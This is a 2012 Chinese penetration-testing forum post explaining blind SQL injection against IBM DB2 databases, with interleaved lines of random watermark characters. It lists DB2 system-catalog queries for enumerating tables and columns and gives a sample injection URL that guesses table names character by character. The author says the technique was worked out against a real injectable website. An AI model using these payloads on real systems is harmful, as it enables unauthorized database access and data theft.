中国网络渗透测试联盟
标题:
Sql Injection in DB2数据库
[打印本页]
作者:
admin
时间:
2012-9-15 14:06
标题:
Sql Injection in DB2数据库
使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。
1 q- A- g. i8 l; C+ a4 h
参考了IBM DB2的文档，总结了这样几条：
$ A# w# z9 V* l% H: Z7 y
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER
a j% w3 ^* z+ K+ o1 I7 R) x. T! O
可以返回系统中所有用户创建的表（table）名
& T2 m7 c/ O5 Z4 a% I, i
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''
- H4 T6 I+ x+ g! ^" p" y5 k
返回表中的列名
2 S% \) R T, ^
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
1 D+ W \* v3 f0 _: b4 N7 }$ p* V
这是最关键的地方，返回第一条记录，类似于sql server中的top 1
: ?3 Q' @1 P1 Y# F
4、SUBSTR(string, position, length)
; M" |9 y. g* c6 d6 o
返回字符串子串的函数，类似于mid
8 R' i; q- C( m$ w1 L) i. q, i( N; m
5、ASCII()这个就不用多说了。
' D' ]4 {* j7 l* u7 }
有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。
- c# H0 ~% L- j8 I
例如判断第一个table的名称的第一个字符的ascii码是否大于50：
: Y# { G" [. R* `; c" C% U
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --
) [# t- U$ n% @. o0 w
3 H: z) X; Y5 `
http://blog.waynedeng.com/blogview.asp?logID=543
. @9 c' l' e8 Q4 `
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2